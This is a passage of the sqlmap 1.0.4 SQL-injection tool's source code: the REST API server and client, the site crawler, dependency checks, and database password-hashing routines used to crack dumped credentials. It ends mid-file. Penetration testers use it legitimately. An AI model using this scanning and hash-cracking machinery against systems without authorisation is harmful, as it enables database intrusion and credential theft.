Server Error def error500(error=None): security_headers(False) return "Internal server error" ############################# # Task management functions # ############################# # Users' methods @get("/task/new") def task_new(): """ Create new task ID """ taskid = hexencode(os.urandom(8)) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) @get("/task//delete") def task_delete(taskid): """ Delete own task ID """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("[%s] Deleted task" % taskid) return jsonize({"success": True}) else: logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) ################### # Admin functions # ################### @get("/admin//list") def task_list(taskid=None): """ List task pull """ tasks = {} for key in DataStore.tasks: if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: tasks[key] = dejsonize(scan_status(key))["status"] logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @get("/admin//flush") def task_flush(taskid): """ Flush task spool (delete all tasks) """ for key in list(DataStore.tasks): if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: DataStore.tasks[key].engine_kill() del DataStore.tasks[key] logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) return jsonize({"success": True}) ################################## # sqlmap core interact functions # ################################## # Handle task's options @get("/option//list") def option_list(taskid): """ List options for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) logger.debug("[%s] Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option//get") def option_get(taskid): """ Get the value of an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") if option in DataStore.tasks[taskid].options: logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option", option: "not set"}) @post("/option//set") def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True}) # Handle scans @post("/scan//start") def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("[%s] Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan//stop") def scan_stop(taskid): """ Stop a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() logger.debug("[%s] Stopped scan" % taskid) return jsonize({"success": True}) @get("/scan//kill") def scan_kill(taskid): """ Kill a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True}) @get("/scan//status") def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() }) @get("/scan//data") def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute( "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append( {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute( "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("[%s] Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) # Functions to handle scans' logs @get("/scan//log//") def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute( ("SELECT time, level, message FROM logs WHERE " "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) @get("/scan//log") def scan_log(taskid): """ Retrieve the log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in DataStore.current_db.execute( "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) # Function to handle files inside the output directory @get("/download///") def download(taskid, target, filename): """ Download a certain file from the file system """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal if not path.startswith(paths.SQLMAP_OUTPUT_PATH): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() return jsonize({"success": True, "file": file_content.encode("base64")}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER): """ REST-JSON API server """ DataStore.admin_id = hexencode(os.urandom(16)) Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin ID: %s" % DataStore.admin_id) logger.debug("IPC database: %s" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=False, server=adapter) except socket.error, ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: errMsg = "Adapter '%s' is not available on this system" % adapter if adapter in ("gevent", "eventlet"): errMsg += " (e.g.: 'sudo apt-get install python-%s')" % adapter logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling %s" % url) try: data = None if options is not None: data = jsonize(options) req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) response = urllib2.urlopen(req) text = response.read() except: if options: logger.error("Failed to load and parse %s" % url) raise return text def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT): """ REST-JSON API client """ dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception, ex: if not isinstance(ex, urllib2.HTTPError): errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex logger.critical(errMsg) return taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip().lower() except (EOFError, KeyboardInterrupt): print break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue argv = ["sqlmap.py"] + shlex.split(command)[1:] try: cmdLineOptions = cmdLineParser(argv).__dict__ except: taskid = None continue for key in list(cmdLineOptions): if cmdLineOptions[key] is None: del cmdLineOptions[key] raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: logger.error("Failed to create new task") continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: logger.error("Failed to start scan") continue logger.info("Scanning started") elif command.startswith("use"): taskid = (command.split()[1] if ' ' in command else "").strip("'\"") if not taskid: logger.error("Task ID is missing") taskid = None continue elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): logger.error("Invalid task ID '%s'" % taskid) taskid = None continue logger.info("Switching to task ID '%s' " % taskid) elif command in ("list", "flush"): raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) elif command == "flush": taskid = None dataToStdout("%s\n" % raw) elif command in ("exit", "bye", "quit", 'q'): return elif command in ("help", "?"): msg = "help Show this help message\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" msg += "status Retrieve and show status for current task\n" msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" dataToStdout(msg) elif command: logger.error("Unknown command '%s'" % command) sqlmap-1.0.4/lib/utils/crawler.py000066400000000000000000000210631270044205500167310ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import httplib import os import re import urlparse import tempfile import time from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.oset.pyoset import oset def crawl(target): try: visited = set() threadData = getCurrentThreadData() threadData.shared.value = oset() def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: errMsg = "connection exception detected (%s). skipping " % ex errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except httplib.InvalidURL, ex: errMsg = "invalid URL detected (%s). skipping " % ex errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, unicode): try: match = re.search(r"(?si)]*>(.+)", content) if match: content = "%s" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') if not tags: tags = re.finditer(r'(?si)]+href="(?P[^>"]+)"', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = urlparse.urljoin(current, href) # flag to know if we are dealing with the same target host _ = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], (url, target))) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass finally: if conf.forms: findPageForms(content, current, False, True) if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) if not conf.sitemapUrl: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " test = readInput(message, default="n") if test[0] in ("y", "Y"): found = True items = None url = urlparse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) except SqlmapConnectionException, ex: if "page not found" in getSafeExString(ex): found = False logger.warn("'sitemap.xml' not found") except: pass finally: if found: if items: for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) if conf.crawlDepth > 1: threadData.shared.unprocessed.update(items) logger.info("%s links found" % ("no" if not items else len(items))) infoMsg = "starting crawler" if conf.bulkFile: infoMsg += " for target URL '%s'" % target logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) runThreads(numThreads, crawlThread, threadChoice=(i>0)) clearConsoleLine(True) if threadData.shared.deeper: threadData.shared.unprocessed = set(threadData.shared.deeper) else: break except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) finally: clearConsoleLine(True) if not threadData.shared.value: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) else: for url in threadData.shared.value: kb.targets.add((url, None, None, None, None)) storeResultsToFile(kb.targets) def storeResultsToFile(results): if not results: return if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " test = readInput(message, default="N") kb.storeCrawlingChoice = test[0] in ("y", "Y") if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+b") as f: if conf.forms: f.write("URL,POST\n") for url, _, data, _, _ in results: if conf.forms: f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) else: f.write("%s\n" % url) sqlmap-1.0.4/lib/utils/deps.py000066400000000000000000000077671270044205500162440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import IS_WIN def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): import _mssql import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from %s" % data[2] logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: import pymysql elif dbmsName == DBMS.PGSQL: import psycopg2 elif dbmsName == DBMS.ORACLE: import cx_Oracle elif dbmsName == DBMS.SQLITE: import sqlite3 elif dbmsName == DBMS.ACCESS: import pyodbc elif dbmsName == DBMS.FIREBIRD: import kinterbasdb elif dbmsName == DBMS.DB2: import ibm_db_dbi elif dbmsName == DBMS.HSQLDB: import jaydebeapi import jpype except ImportError: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "%s. Download from %s" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: import impacket debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "http://code.google.com/p/impacket/" logger.warn(warnMsg) missing_libraries.add('python-impacket') try: import ntlm debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" logger.warn(warnMsg) missing_libraries.add('python-ntlm') try: from websocket import ABNF debugMsg = "'python websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" logger.warn(warnMsg) missing_libraries.add('websocket-client') if IS_WIN: try: import pyreadline debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" logger.warn(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) sqlmap-1.0.4/lib/utils/getch.py000066400000000000000000000044011270044205500163610ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ class _Getch(object): """ Gets a single character from standard input. Does not echo to the screen (reference: http://code.activestate.com/recipes/134892/) """ def __init__(self): try: self.impl = _GetchWindows() except ImportError: try: self.impl = _GetchMacCarbon() except(AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): return self.impl() class _GetchUnix(object): def __init__(self): import tty def __call__(self): import sys import termios import tty fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch class _GetchWindows(object): def __init__(self): import msvcrt def __call__(self): import msvcrt return msvcrt.getch() class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; if no ASCII key is down, the null string is returned. The page http://www.mactech.com/macintosh-c/chap02-1.html was very helpful in figuring out how to do this. """ def __init__(self): import Carbon Carbon.Evt # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: # # The event contains the following info: # (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1] # # The message (msg) contains the ASCII char which is # extracted with the 0x000000FF charCodeMask; this # number is converted to an ASCII character with chr() and # returned # (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) getch = _Getch() sqlmap-1.0.4/lib/utils/hash.py000066400000000000000000001051201270044205500162120ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: from crypt import crypt except ImportError: from thirdparty.fcrypt.fcrypt import crypt _multiprocessing = None try: import multiprocessing # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) _ = multiprocessing.Queue() except (ImportError, OSError): pass else: try: if multiprocessing.cpu_count() > 1: _multiprocessing = multiprocessing except NotImplementedError: pass import gc import os import re import tempfile import time from hashlib import md5 from hashlib import sha1 from hashlib import sha224 from hashlib import sha384 from hashlib import sha512 from Queue import Queue from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import normalizeUnicode from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.convert import hexdecode from lib.core.convert import hexencode from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DUMMY_USER_PREFIX from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist from thirdparty.colorama.initialise import init as coloramainit from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC def mysql_passwd(password, uppercase=True): """ Reference(s): http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c http://voidnetwork.org/5ynL0rd/darkc0de/python_script/darkMySQLi.html >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' """ a, b, c = 1345345333, 7, 0x12345671 for d in password: if d == ' ' or d == '\t': continue e = ord(d) a ^= (((a & 63) + b) * e) + (a << 8) c += (c << 8) ^ a b += e retVal = "%08lx%08lx" % (a & ((1 << 31) - 1), c & ((1 << 31) - 1)) return retVal.upper() if uppercase else retVal.lower() def postgres_passwd(password, username, uppercase=False): """ Reference(s): http://pentestmonkey.net/blog/cracking-postgres-hashes/ >>> postgres_passwd(password='testpass', username='testuser', uppercase=False) 'md599e5ea7a6f7c3269995cba3927fd0093' """ if isinstance(username, unicode): username = unicode.encode(username, UNICODE_ENCODING) if isinstance(password, unicode): password = unicode.encode(password, UNICODE_ENCODING) retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mssql_passwd(password, salt, uppercase=False): """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_new_passwd(password, salt, uppercase=False): """ Reference(s): http://hashcat.net/forum/thread-1474.html >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def oracle_passwd(password, salt, uppercase=True): """ Reference(s): https://www.evilfingers.com/tools/GSAuditor.php http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ http://seclists.org/bugtraq/2007/Sep/304 >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ binsalt = hexdecode(salt) retVal = "s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ >>> oracle_old_passwd(password='tiger', username='scott', uppercase=True) 'F894844C34402B67' """ IV, pad = "\0" * 8, "\0" if isinstance(username, unicode): username = unicode.encode(username, UNICODE_ENCODING) if isinstance(password, unicode): password = unicode.encode(password, UNICODE_ENCODING) unistr = "".join("\0%s" % c for c in (username + password).upper()) cipher = des(hexdecode("0123456789ABCDEF"), CBC, IV, pad) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, IV, pad) encrypted = cipher.encrypt(unistr) retVal = hexencode(encrypted[-8:]) return retVal.upper() if uppercase else retVal.lower() def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) '179ad45c6ce2cb97cf1029e212046e81' """ retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha1_generic_passwd(password, uppercase=False): """ >>> sha1_generic_passwd(password='testpass', uppercase=False) '206c80413b9a96c1312cc346b7d2517b84463edd' """ retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ retVal = sha224(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha384_generic_passwd(password, uppercase=False): """ >>> sha384_generic_passwd(password='testpass', uppercase=False) '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ retVal = sha384(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha512_generic_passwd(password, uppercase=False): """ >>> sha512_generic_passwd(password='testpass', uppercase=False) '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ retVal = sha512(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def crypt_generic_passwd(password, salt, uppercase=False): """ Reference(s): http://docs.python.org/library/crypt.html http://helpful.knobs-dials.com/index.php/Hashing_notes http://php.net/manual/en/function.crypt.php http://carey.geek.nz/code/python-fcrypt/ >>> crypt_generic_passwd(password='rasmuslerdorf', salt='rl', uppercase=False) 'rl.3StKT.4T8M' """ retVal = crypt(password, salt) return retVal.upper() if uppercase else retVal def wordpress_passwd(password, salt, count, prefix, uppercase=False): """ Reference(s): 